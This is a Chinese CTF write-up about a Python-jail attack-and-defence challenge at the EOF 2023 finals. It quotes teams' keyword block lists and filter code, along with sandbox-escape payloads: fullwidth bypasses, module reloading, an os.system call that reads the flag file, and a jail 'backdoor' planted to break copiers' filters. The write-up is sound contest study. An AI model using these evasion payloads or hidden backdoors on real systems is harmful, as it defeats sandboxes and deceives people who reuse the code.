2023 EOF Final Pyjail 心得

這次和 DEVCORE web 實習小夥伴們 Entroy, Amy, Wii 組隊參加 EOF,四個 web 狗在初賽很僥倖放生 crypto 和 pwn 還是通過了。決賽的賽制變成 A&D 和 KoH,雖然最終第七名,但靠著 pyjail 這題最高分得到一個蟒蛇高手獎(?)。這兩天的賽程我幾乎都在搞 pyjail,一直想到 噁心人 好玩的 jail,賽中也看到很多正規的 jail,就來記錄一下。使用到的 code 在這

題目介紹

source code

這題是 A&D,每輪 5 分鐘,每輪裡會計算成功攻擊幾組的 pyjail 還有被攻擊次數,然後透過某個公式計算該輪得分,最終題目的分數是加總每輪得分後和其他組別做 normalize。

攻擊方的目標是執行一段不限長度 python code 來讀取 ./flag.txt 後提交 flag;防禦方的目標是讓無害的 example code 能通過 jail,讓 exploit code 無法通過 jail 或是通過 jail 後讀取不到 ./flag.txt 。這個 jail 執行環境和 exploit code 執行環境是隔離的,jail 執行環境無任何限制,但是要求被過濾的 exploit code 的長度變動 < 75 abs((len(original) - len(modified)) <= 75 ,超過的話會執行 original ,另外如果 jail 因為某些原因 crash 的話也會執行 original./flag.txt 在幾 round 後已經變成 readonly 。

主辦方會在大約六輪多公佈 jail code,但不公佈 exploit code,並且執行環境都是無連網,因此沒有辦法知道 exploit code 長怎麼樣。

題目本質

對攻擊方來說,無限制攻擊次數和 code 長度,且 exploit code 從頭到尾都對防禦方是不可見的,因此只要用最強的 exploit code 即可。

反過來說防禦方因為在多輪後會被公布 jail code,在策略上要考量的就很多,首先是別人可以在幾輪後直接 copy paste 你的 jail,所以要能打穿自己的 jail;第二點是 jail code 可能會洩漏攻擊方法給別人,讓別人從 unknown unknown 變成 known unknown,也許餵給 ChatGPT 就能繞過(?);第三點是要能盡可能的減少 exploit code 能獲得的資訊,因為 exploit code 會回傳 stderr,所以透過修改 code 導致 stderr 可以讓攻擊方在當輪就做出反應,而直接拒絕執行的話則可以使 jail 的價值持續至少六輪。

jail 繞法

過濾關鍵字

最基本的方法,前幾輪幾乎都是這種。常見的繞法像是字串拼接、編碼等等。

進階版過濾關鍵字

再過幾輪後,有隊伍(有 dalun 那隊)想到既然解碼後都會有 flag.txt ,那乾脆在 opcode 層級做過濾

    import dis
    for inst in dis.get_instructions(code):
        if inst.opcode == 100:
            if 'flag.txt' in str(inst.argval) or 'system' in str(inst.argval) or 'io' in str(inst.argval) or 'spawn' in str(inst.argval) or 'subprocess' in str(inst.argval) or 'pickle' in str(inst.argval) or 'getattr' in str(inst.argval) or 'base64' in str(inst.argval) or 'rot' in str(inst.argval) or 'open' in str(inst.argval) or 'read' in str(inst.argval) or 'write' in str(inst.argval) or 'sys' in str(inst.argval) or 'eval' in str(inst.argval) or 'exec' in str(inst.argval) or 'cat' in str(inst.argval) or 'builtins' in str(inst.argval):
                return False, "f2"
from team 13(應該不是最先用上這方法的隊伍,但我手邊剩這個)

這個想法本身很有用,因為很多常規 jail 方法都會卡在變更長度 < 75 導致失效,但在 jail code 執行時不會有長度限制,可惜最後大多隊伍只有去檢查 opcode 100 LOAD_CONST 指令,雖然 opcode 自身優化後會讓字串串接合併成同一個字串 'a'+'b' --> LOAD_CONST 'ab' ,讓字串串接失效,然而經過一些操作後再串接就不會被優化,這裡用 'galf'[::-1]+'.txt' 就能繞過

module 無法透過中括號取得 attribute,也就無法字串拼接

>>> import os
>>> os['system']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'module' object is not subscriptable

此時可以透過 getattr 幫忙來字串拼接 getattr(os,'sys'+'tem')

還有看到很多隊伍禁止 base64, reversed 之類字串 encode 方法,但是最簡單的 [::-1]  搭配拼接就都繞過了

未知版過濾關鍵字

慢慢繞實在太麻煩,後來都直接透過全形繞過,直到比賽結束前都沒有其他隊伍對全形繞過釋出 patch 的樣子,讓我一直不知道該不該上全形繞過的 patch

code = "".join(map(lambda x: chr(ord(x) - 65248) if ord(x) > 65248 else x, code))
全形轉半形 patch

全形繞過原理是 python 執行時會很貼心的把全形字母當作半形字母,但是字串比對時全形和半形是不同的

>>> 'exec' != 'exec'
True
>>> exec('print(7122)')
7122
全形繞過

第一次知道這個技巧是 🍁 某次 CTF 用來繞黑名單,雖然是個古老繞法,但幾乎每個第一次寫 python 黑名單過濾的人都會踩到這個坑 :D

沙盒

忘記哪隊在第一天很有創意的在 jail code 刻出沙盒,並透過 output 有沒有假 flag 來判斷是否是 exploit code

    os.system("mkdir /tmp/dir")
    os.chdir("/tmp/dir")
    F = open("flag.txt", "w")
    F.write("EOFmfl183p3ph4hmrmsb32ca1108sqr7")
    F.close()
    F = open("code.py", "w")
    F.write(code)
    F.close()
    os.system("python code.py > out.txt")
    F = open("out.txt", "r")
    s = F.read()
    F.close()
    f = re.findall(r"EOFmfl183p3ph4hmrmsb32ca1108sqr7", s)
    if len(f) > 0:
        return False, code
from creative team

這在釋出 jail code 後才好繞,只要把 output 編碼即可

進一步想可以在這裡解決 len < 75 這件事,因此能加上常規的 syscall 檢測等等

覆蓋危險函數

在第一天後半段開始,終於有 CTF 常規的 python jail 出現,我想可能是限制變動 75 這規則讓很多隊伍不把濃縮 python jail 當首選

    code = (
        "import os,importlib\nos.popen=os.system=os.exec=os.read=importlib.reload=0\n"
        + code
    )
    return True, code  # line:20
from team ?

到第二天出現官方正規解 PEP 578 – Python Runtime Audit Hooks

    code = "import sys;sys.addaudithook(lambda*t:exit()if'g.t'in str(t)else 0)\n" + code
    return True, code
from team 9

第一種的繞法就是想辦法 reload module 或是找到沒被覆蓋的值,畢竟只能塞 75 char,剩下只能靠 jail code 做過濾。

第一天時隊友 Entroy 先找到 importlib.reload 做 reload,繞過一段時間後 pyjail 就修補了,大家對繞 pyjail 不熟,又自己隊伍的 jail 還在全裸修補中,沒時間找新的攻擊手法,第一天快結束時 Entory 問了 ChatGPT 繞法,得到

試了一下還真的可以,隔天就用在 exploit code 了。偉哉 ChatGPT

晚上研究一下繞法,學到幾招,直到第二天結束時都還能通殺

reload modules 找回被刪除的 attribute

import subprocess
import os
from sys import modules as q

try:
    del q["o" + "s"]
    del q["sub" + "pro" + "cess"]
except:
    pass
import subprocess
import os
del sys.modules

繞過 open=0

import builtins
print(
    getattr(getattr(builtins, "po"[::-1] + "en")("galf"[::-1] + ".txt"), "re" + "ad")()[
        ::-1
    ]
)
import builtins
>>> open = 0
>>> import builtins
>>> builtins.open
<built-in function open>
>>> __builtins__
<module 'builtins' (built-in)>
>>> __builtins__.open
<built-in function open>

繞過 import 類型的字串比對 e.g. import builtins

__import__("so"[::-1]).system(" tac"[::-1] + "fl" + "ga"[::-1] + ".t" + "tx"[::-1])
__import__

第二天從別人 jail 學到可以透過 pickle, marshal 來載入( jail code 洩漏攻擊法的案例),不過後來沒實作

    x = dict()
    exec(marshal.loads(b"\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x40\x00\x00\x00\x73\x2a\x00\x00\x00\x64\x00\x64\x01\x6c\x00\x6d\x01\x5a\x01\x01\x00\x64\x02\x65\x02\x64\x03\x65\x01\x65\x03\x65\x02\x66\x02\x19\x00\x66\x04\x64\x04\x64\x05\x84\x04\x5a\x04\x64\x06\x53\x00\x29\x07\xe9\x00\x00\x00\x00\x29\x01\xda\x05\x54\x75\x70\x6c\x65\xda\x04\x63\x6f\x64\x65\xda\x06\x72\x65\x74\x75\x72\x6e\x63\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00\x43\x00\x00\x00\x73\x52\x01\x00\x00\x64\x01\x64\x00\x6c\x00\x7d\x01\x67\x00\x64\x02\xa2\x01\x7d\x02\x64\x03\x64\x04\x67\x02\x7d\x03\x64\x05\x64\x06\x84\x00\x7c\x01\xa0\x01\x7c\x00\xa1\x01\x44\x00\x83\x01\x7d\x04\x74\x02\x74\x03\x7c\x04\x83\x01\x83\x01\x44\x00\x5d\x5c\x7d\x05\x7c\x04\x7c\x05\x19\x00\x7d\x06\x7c\x06\x6a\x04\x64\x07\x6b\x02\x72\x31\x74\x05\x7c\x06\x6a\x06\x83\x01\x64\x08\x6b\x02\x72\x31\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0a\x6b\x02\x72\x40\x64\x0b\x74\x05\x7c\x06\x6a\x06\x83\x01\x6b\x02\x72\x40\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0c\x6b\x02\x72\x4f\x64\x0d\x74\x05\x7c\x06\x6a\x06\x83\x01\x76\x00\x72\x4f\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0e\x6b\x02\x72\x5e\x74\x05\x7c\x06\x6a\x06\x83\x01\x7c\x02\x76\x00\x72\x5e\x01\x00\x64\x09\x53\x00\x7c\x06\x6a\x04\x64\x0e\x6b\x02\x72\x78\x74\x05\x7c\x06\x6a\x06\x83\x01\x64\x0f\x6b\x02\x72\x78\x74\x05\x7c\x04\x7c\x05\x64\x10\x17\x00\x19\x00\x6a\x06\x83\x01\x7c\x03\x76\x00\x72\x78\x01\x00\x64\x09\x53\x00\x71\x1c\x64\x11\x7c\x00\x76\x00\x72\x83\x7c\x00\xa0\x07\x64\x12\x64\x13\xa1\x02\x7d\x00\x64\x14\x7c\x00\x76\x00\x72\x8d\x7c\x00\xa0\x07\x64\x15\x64\x13\xa1\x02\x7d\x00\x64\x16\x7c\x00\x76\x00\x72\x97\x7c\x00\xa0\x07\x64\x17\x64\x13\xa1\x02\x7d\x00\x64\x18\x7c\x00\x76\x00\x72\xa1\x7c\x00\xa0\x07\x64\x19\x64\x13\xa1\x02\x7d\x00\x64\x1a\x7c\x00\x17\x00\x7d\x00\x64\x1b\x7c\x00\x66\x02\x53\x00\x29\x1c\x4e\x72\x01\x00\x00\x00\x29\x03\xda\x09\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\xda\x06\x62\x61\x73\x65\x36\x34\xda\x06\x70\x69\x63\x6b\x6c\x65\xda\x06\x73\x79\x73\x74\x65\x6d\xda\x05\x70\x6f\x70\x65\x6e\x63\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x53\x00\x00\x00\x73\x10\x00\x00\x00\x67\x00\x7c\x00\x5d\x04\x7d\x01\x7c\x01\x91\x02\x71\x02\x53\x00\xa9\x00\x72\x0a\x00\x00\x00\x29\x02\xda\x02\x2e\x30\xda\x01\x78\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\xfa\x08\x62\x6c\x6f\x63\x6b\x2e\x70\x79\xda\x0a\x3c\x6c\x69\x73\x74\x63\x6f\x6d\x70\x3e\x0a\x00\x00\x00\x73\x02\x00\x00\x00\x10\x00\x7a\x18\x6a\x61\x69\x6c\x2e\x3c\x6c\x6f\x63\x61\x6c\x73\x3e\x2e\x3c\x6c\x69\x73\x74\x63\x6f\x6d\x70\x3e\xe9\x65\x00\x00\x00\xda\x0c\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x29\x02\x46\xda\x00\xe9\xa0\x00\x00\x00\xda\x04\x72\x65\x61\x64\xe9\x64\x00\x00\x00\x7a\x08\x66\x6c\x61\x67\x2e\x74\x78\x74\xe9\x6c\x00\x00\x00\xda\x02\x6f\x73\xe9\x01\x00\x00\x00\x7a\x05\x72\x65\x61\x64\x28\x7a\x06\x72\x65\x61\x64\x28\x29\x7a\x07\x63\x6c\x6f\x73\x65\x28\x29\x7a\x09\x72\x65\x61\x64\x6c\x69\x6e\x65\x28\x7a\x0a\x72\x65\x61\x64\x6c\x69\x6e\x65\x28\x29\x7a\x0a\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x7a\x0b\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x7a\x09\x74\x72\x75\x6e\x63\x61\x74\x65\x28\x7a\x0a\x74\x72\x75\x6e\x63\x61\x74\x65\x28\x29\x61\x49\x04\x00\x00\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\x3b\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x3d\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x3d\x6f\x73\x2e\x65\x78\x65\x63\x3d\x6f\x73\x2e\x72\x65\x61\x64\x3d\x69\x6d\x70\x6f\x72\x74\x6c\x69\x62\x2e\x72\x65\x6c\x6f\x61\x64\x3d\x30\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x54\x29\x08\xda\x03\x64\x69\x73\x5a\x10\x67\x65\x74\x5f\x69\x6e\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x73\xda\x05\x72\x61\x6e\x67\x65\xda\x03\x6c\x65\x6e\x5a\x06\x6f\x70\x63\x6f\x64\x65\xda\x03\x73\x74\x72\x5a\x06\x61\x72\x67\x76\x61\x6c\xda\x07\x72\x65\x70\x6c\x61\x63\x65\x29\x07\x72\x03\x00\x00\x00\x72\x18\x00\x00\x00\x5a\x0a\x62\x61\x6e\x5f\x69\x6d\x70\x6f\x72\x74\x5a\x0d\x62\x61\x6e\x5f\x6f\x73\x5f\x6d\x65\x74\x68\x6f\x64\x5a\x05\x63\x6f\x64\x65\x73\xda\x01\x69\x72\x0c\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0d\x00\x00\x00\xda\x04\x6a\x61\x69\x6c\x03\x00\x00\x00\x73\x38\x00\x00\x00\x08\x02\x08\x02\x08\x01\x14\x02\x10\x02\x08\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x06\x01\x18\x01\x16\x01\x06\x01\x02\x80\x08\x02\x0c\x01\x08\x01\x0c\x01\x08\x01\x0c\x01\x08\x01\x0c\x01\x08\x02\x08\x02\x72\x1e\x00\x00\x00\x4e\x29\x05\xda\x06\x74\x79\x70\x69\x6e\x67\x72\x02\x00\x00\x00\x72\x1b\x00\x00\x00\xda\x04\x62\x6f\x6f\x6c\x72\x1e\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0a\x00\x00\x00\x72\x0d\x00\x00\x00\xda\x08\x3c\x6d\x6f\x64\x75\x6c\x65\x3e\x01\x00\x00\x00\x73\x04\x00\x00\x00\x0c\x00\x1e\x02"), x)
    x, code = x['jail'](code)
from team 5

不得不提到這真是混淆 jail code 的好方法,讓我完全不敢 copy paste 來路不明的 jail code。

第二種官方解賽中有人使用但完整,我沒搞清楚原理就繞過了,之後補一下 ->TODO<-

jail 本質?

這段可以跳過,讀完不會學到任何技術

以我一個從不會繞 pyjail 也不會寫 pyjail 辜狗一個晚上找前幾筆就找到前面各種花式繞法,並且直到比賽結束都能通殺,讓我重新思考這 jail 的本質,在晚上測試機器 loading 比較小的時候驗證了這個想法

jail code patching 時的 example code 是固定的

並且依據主辦方有提供 NAS 那題的 service check,卻沒有 pyjail 的 service check 結果,又 infra 已經承受不住大家的摧殘,可以猜測通過 patching 後不會再有其他的驗證,因此 jail 的簡單又有效的做法顯然是

如何區分 exploit code 和  example code?

於是不眠不休的想出一堆噁心人的 jail,請各位欣賞

首先是測試 example code 的 input 長度,會介於 <70 和 >800,小部分 example code 會是人工產出,大多數會是從網路上抓的,這樣人工產的會很短,網路上產的則會很長,在晚上稍微測試一下大小就生出這條

大多是🍁的 code
    if len(code) < 800 and len(code) > 70:
        return False, ""
檢測 code 長度

既然有沙箱,那順便測試 output 長度

    x = len(s)
    if (
        x < 700
        and x**6
        - 1134 * x**5
        + 384209 * x**4
        - 54402048 * x**3
        + 3365938800 * x**2
        - 73802147328 * x
        != 0
    ):
        return True, "print('EOFmsb32ca1108sqr7mfl183p3ph4hmr'),exit(1)\n" + code
測試沙盒執行結果的 output 長度是否符合多項式

在第二天比賽時想到,example code 的亂度應該比起 exploit code 都蠻大的,簡單點的實作是測試使用到的字母集,到最後十幾輪上這個 patch,最終只有 team 1 打穿

    if len(set(code)) < 55:
        return False, ""
測試字母集長度

每個 patch 都簡單暴力,卻直到 jail code 公開前都不可能知道如何繞

賽後想了一下主辦方如何避免這種旁門左道又要兼顧 server 效能,先排除動態生成 example code。想到比較好的方法是把 example code 切成兩部分,一部份用在 patching 時,另一部份則可以每輪動態生成或是先生好 170 份(有 170 輪),每輪 service check 每隊 jail 執行並比對 output,下一輪公布 service check 結果和該 example code 來讓各隊可以調整 jail。

賽後討論更邪惡的做法

其他防守方技巧

前面有提到防守方有三個考量點

盡可能減少 exploit code 透漏資訊

題目有提到其他的像是 example code 不會執行系統指令、不會讀寫檔等等,有這些嘗試都直接禁止執行。

這某種程度也意味者區分 exploit code 和 example code

防止 jail code 透漏資訊

要即時監控各隊的攻防情況,如果攻防相減後自己仍然在前幾或是其它隊伍還沒使用相關的 patch 就不必上 patch。雖然講是這樣講,但是覺得全上比較好玩,在中後段就把所有留著的 patch 全上了,然後就被打爆 :D

即使 exploit code 是未知的,透過即時監控各隊攻防情況,仍然可以有效修補自己的 jail。若被某隊打穿時可以從他們的 jail code 猜測他們用了什麼新攻擊;若被某隊打穿時,可以把他們打不穿的 jail 加進自己的 jail;若打不穿某隊時,可以從被打穿數量判斷他們的 jail 難度決定要不要耗費時間改寫 exploit ....有三隊後來都直接 copy paste 我的 jail code,在後幾輪被打數量 < 5...

蠻意外的是大多數隊伍都沒在 copy paste 別人的 jail ,不太懂原因:D

別人可以直接 copy paste jail

這部分的解法就很發散,我有研究能不能塞些特殊符號讓他 copy paste 時 panel 爛掉,沒找到好辦法;寫一個本地測試程式確保上新 patch 時自己的 exploit code 能通過;最後是夾帶 backdoor

先提一下我原本想說混淆沒屁用,後來才想到如果意識到可能有 backdoor,混淆就能嚇阻別人 copy ,不過這場比賽幾乎沒有隊伍有意識到 backdoor 這件事

backdoor 充分利用了題目的判斷邏輯,前面提到題目有兩個情況下會直接放行 1. 長度變動 > 75 2. jail code crash

長度變動 > 75

在很早我就注意到有些人的 jail code 寫法是有問題的,像是常見的 replace

    banlist = ['flag.txt', 'open', 'write', 'read', '__builtins__', 'sys', 'system', 'eval', 'exec', 'pty',
               'getattr', '__dict__', 'base64', 'rot', 'get', 'subclass', 'dis', 'inspect', 'spawn', 'subprocess', 'dumps', 'loads',
               'codecs', 'FileIO', 'timeit', 'commands', 'seek', 'cgi', 'compile', 'builtins']
    for word in banlist:
        code = code.replace(word, 'len')
from team 13

攻擊者只要重複塞這些字眼,讓最終長度變化超過 75 就使得 jail 失效。不過題目的判斷有點奇怪,根據後來釋出的題目原始碼

def apply_jail(jail: str, code: str) -> bool:
    try:
        r = run(JAIL_TEMPLATE.format(jail), stdin=code)
        allow, new_code = json.loads(r.stdout.strip())
        if len(new_code) > len(code) + MAX_MORE_CODE:
            return True, code
        return allow, new_code
    except:
        # allow by default
        return True, code

應該要增減 75 吧(?
大多數隊伍後來都把替換字眼更換成 len ,因此只有當關鍵字是 os 時才有辦法利用

埋後門方法就很簡單,讓一堆替換字串是等長的,讓某幾個替換多一或減一即可,沒人那麼閒一個一個測長度。

jail code crash

這想法是前面幾版 patch 上爛,crash 直接通過 patching,導致我們隊被打爆,後來自己寫本地端測試程式特別偵測這塊,然後在小隊討論怎麼埋 backdoor 時 Entroy 就想到可以這樣玩:D

backdoor 在這

    if "readlines(" in code:  # line:15
        code = code.replace("readlines()", "re@dline5()")  # line:16
    if "importIib" in code:  # line:15
        code = re["replace"]("importlib()", "")  # line:16
    if "truncate(" in code:  # line:17
        code = code.replace("try#cate()", "trunc@te()")  # line:18
backdoor

眼尖一點可能會看到 importIib 打錯了,真正的問題是在 re["replace"] ,沒辦法這樣存取 module attribute,會直接 throw exception 導致 crash。

最後那些 copy paste 的隊伍都沒有拔掉這個 backdoor :D

有一個想到但沒試的 ReDos backdoor,要愛護 server。

結語

其實🍁 splitline (應該是ㄅ,那麼惡趣味)把 87% 繞過技巧提示都放在 random_math.py,那個一開始就給唯一公開的那份 example code。

我還是不會繞正規 python jail,得研究一下 QQ